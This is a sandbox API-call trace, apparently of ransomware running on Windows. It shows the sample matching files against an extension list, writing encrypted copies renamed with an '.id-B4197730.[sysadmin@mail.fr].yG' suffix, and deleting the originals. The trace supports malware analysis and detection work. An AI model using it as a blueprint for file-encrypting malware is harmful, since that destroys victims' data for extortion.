	[0150.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0150.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0150.197] lstrlenW (lpString=".doc") returned 4
	[0150.197] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.197] lstrlenW (lpString=".docx") returned 5
	[0150.197] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0150.197] lstrlenW (lpString=".pdf") returned 4
	[0150.197] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.197] lstrlenW (lpString=".xls") returned 4
	[0150.197] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.197] lstrlenW (lpString=".xlsx") returned 5
	[0150.197] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0150.197] lstrlenW (lpString=".ppt") returned 4
	[0150.197] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0150.197] lstrlenW (lpString=".zip") returned 4
	[0150.197] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.197] lstrlenW (lpString=".rar") returned 4
	[0150.197] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.197] lstrlenW (lpString=".bz2") returned 4
	[0150.198] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.198] lstrlenW (lpString=".7z") returned 3
	[0150.198] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0150.198] lstrlenW (lpString=".dbf") returned 4
	[0150.198] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0150.198] lstrlenW (lpString=".1cd") returned 4
	[0150.198] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0150.198] lstrlenW (lpString=".jpg") returned 4
	[0150.198] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0150.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0150.198] lstrlenW (lpString=".doc") returned 4
	[0150.198] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.198] lstrlenW (lpString=".docx") returned 5
	[0150.198] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0150.198] lstrlenW (lpString=".pdf") returned 4
	[0150.198] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.198] lstrlenW (lpString=".xls") returned 4
	[0150.198] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.198] lstrlenW (lpString=".xlsx") returned 5
	[0150.198] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0150.199] lstrlenW (lpString=".ppt") returned 4
	[0150.199] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0150.199] lstrlenW (lpString=".zip") returned 4
	[0150.199] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.199] lstrlenW (lpString=".rar") returned 4
	[0150.199] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.199] lstrlenW (lpString=".bz2") returned 4
	[0150.199] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.199] lstrlenW (lpString=".7z") returned 3
	[0150.199] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0150.199] lstrlenW (lpString=".dbf") returned 4
	[0150.199] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0150.199] lstrlenW (lpString=".1cd") returned 4
	[0150.199] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 68
	[0150.199] lstrlenW (lpString=".jpg") returned 4
	[0150.199] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.199] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.199] lstrlenW (lpString="GRDEN_01.MID") returned 12
	[0150.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0150.200] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=7567) returned 1
	[0150.200] CloseHandle (hObject=0x558) returned 1
	[0150.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 0x220
	[0150.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0150.201] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.201] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0150.202] GetLastError () returned 0x0
	[0150.202] ReadFile (in: hFile=0x558, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x1d8f, lpOverlapped=0x0) returned 1
	[0150.348] WriteFile (in: hFile=0x550, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x1d90, lpOverlapped=0x0) returned 1
	[0150.349] ReadFile (in: hFile=0x558, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.350] WriteFile (in: hFile=0x550, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.350] SetEndOfFile (hFile=0x550) returned 1
	[0150.350] CloseHandle (hObject=0x550) returned 1
	[0150.351] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.351] SetEndOfFile (hFile=0x558) returned 1
	[0150.354] CloseHandle (hObject=0x558) returned 1
	[0150.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\grden_01.mid")) returned 1
	[0150.355] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0150.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0150.366] lstrlenW (lpString=".doc") returned 4
	[0150.366] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.366] lstrlenW (lpString=".docx") returned 5
	[0150.366] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.366] lstrlenW (lpString=".pdf") returned 4
	[0150.366] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.366] lstrlenW (lpString=".xls") returned 4
	[0150.366] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.366] lstrlenW (lpString=".xlsx") returned 5
	[0150.366] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.366] lstrlenW (lpString=".ppt") returned 4
	[0150.366] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0150.366] lstrlenW (lpString=".zip") returned 4
	[0150.366] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.366] lstrlenW (lpString=".rar") returned 4
	[0150.366] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.366] lstrlenW (lpString=".bz2") returned 4
	[0150.367] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.367] lstrlenW (lpString=".7z") returned 3
	[0150.367] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0150.367] lstrlenW (lpString=".dbf") returned 4
	[0150.367] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0150.367] lstrlenW (lpString=".1cd") returned 4
	[0150.367] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0150.367] lstrlenW (lpString=".jpg") returned 4
	[0150.367] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0150.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0150.367] lstrlenW (lpString=".doc") returned 4
	[0150.367] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.367] lstrlenW (lpString=".docx") returned 5
	[0150.367] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.367] lstrlenW (lpString=".pdf") returned 4
	[0150.367] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.367] lstrlenW (lpString=".xls") returned 4
	[0150.367] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.367] lstrlenW (lpString=".xlsx") returned 5
	[0150.367] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.367] lstrlenW (lpString=".ppt") returned 4
	[0150.367] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0150.368] lstrlenW (lpString=".zip") returned 4
	[0150.368] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.368] lstrlenW (lpString=".rar") returned 4
	[0150.368] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.368] lstrlenW (lpString=".bz2") returned 4
	[0150.368] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.368] lstrlenW (lpString=".7z") returned 3
	[0150.368] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0150.368] lstrlenW (lpString=".dbf") returned 4
	[0150.368] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0150.368] lstrlenW (lpString=".1cd") returned 4
	[0150.368] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned 68
	[0150.368] lstrlenW (lpString=".jpg") returned 4
	[0150.368] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.368] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.368] lstrlenW (lpString="INDST_01.MID") returned 12
	[0150.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.444] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=8568) returned 1
	[0150.445] CloseHandle (hObject=0x48c) returned 1
	[0150.445] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220
	[0150.450] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.451] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.451] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.452] GetLastError () returned 0x0
	[0150.452] ReadFile (in: hFile=0x48c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x2178, lpOverlapped=0x0) returned 1
	[0150.454] WriteFile (in: hFile=0x554, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x2180, lpOverlapped=0x0) returned 1
	[0150.455] ReadFile (in: hFile=0x48c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.455] WriteFile (in: hFile=0x554, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.455] SetEndOfFile (hFile=0x554) returned 1
	[0150.455] CloseHandle (hObject=0x554) returned 1
	[0150.456] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.456] SetEndOfFile (hFile=0x48c) returned 1
	[0150.459] CloseHandle (hObject=0x48c) returned 1
	[0150.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.460] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1
	[0150.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0150.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0150.461] lstrlenW (lpString=".doc") returned 4
	[0150.461] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.461] lstrlenW (lpString=".docx") returned 5
	[0150.461] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.461] lstrlenW (lpString=".pdf") returned 4
	[0150.461] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.461] lstrlenW (lpString=".xls") returned 4
	[0150.461] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.461] lstrlenW (lpString=".xlsx") returned 5
	[0150.461] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.461] lstrlenW (lpString=".ppt") returned 4
	[0150.461] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0150.461] lstrlenW (lpString=".zip") returned 4
	[0150.461] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.461] lstrlenW (lpString=".rar") returned 4
	[0150.461] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.461] lstrlenW (lpString=".bz2") returned 4
	[0150.461] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.462] lstrlenW (lpString=".7z") returned 3
	[0150.462] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0150.462] lstrlenW (lpString=".dbf") returned 4
	[0150.462] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0150.462] lstrlenW (lpString=".1cd") returned 4
	[0150.462] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0150.462] lstrlenW (lpString=".jpg") returned 4
	[0150.462] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0150.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0150.462] lstrlenW (lpString=".doc") returned 4
	[0150.462] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.462] lstrlenW (lpString=".docx") returned 5
	[0150.462] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.462] lstrlenW (lpString=".pdf") returned 4
	[0150.462] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.462] lstrlenW (lpString=".xls") returned 4
	[0150.462] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.462] lstrlenW (lpString=".xlsx") returned 5
	[0150.462] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.462] lstrlenW (lpString=".ppt") returned 4
	[0150.462] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0150.462] lstrlenW (lpString=".zip") returned 4
	[0150.462] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.463] lstrlenW (lpString=".rar") returned 4
	[0150.463] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.463] lstrlenW (lpString=".bz2") returned 4
	[0150.463] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.463] lstrlenW (lpString=".7z") returned 3
	[0150.463] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0150.463] lstrlenW (lpString=".dbf") returned 4
	[0150.463] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0150.463] lstrlenW (lpString=".1cd") returned 4
	[0150.463] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0150.463] lstrlenW (lpString=".jpg") returned 4
	[0150.463] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.463] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.463] lstrlenW (lpString="JNGLE_01.MID") returned 12
	[0150.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.464] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=5843) returned 1
	[0150.464] CloseHandle (hObject=0x48c) returned 1
	[0150.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 0x220
	[0150.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0150.465] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.465] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0150.466] GetLastError () returned 0x0
	[0150.466] ReadFile (in: hFile=0x48c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x16d3, lpOverlapped=0x0) returned 1
	[0150.501] WriteFile (in: hFile=0x554, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x16e0, lpOverlapped=0x0) returned 1
	[0150.502] ReadFile (in: hFile=0x48c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.502] WriteFile (in: hFile=0x554, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.502] SetEndOfFile (hFile=0x554) returned 1
	[0150.502] CloseHandle (hObject=0x554) returned 1
	[0150.502] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.502] SetEndOfFile (hFile=0x48c) returned 1
	[0150.505] CloseHandle (hObject=0x48c) returned 1
	[0150.506] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\jngle_01.mid")) returned 1
	[0150.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
	[0150.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68
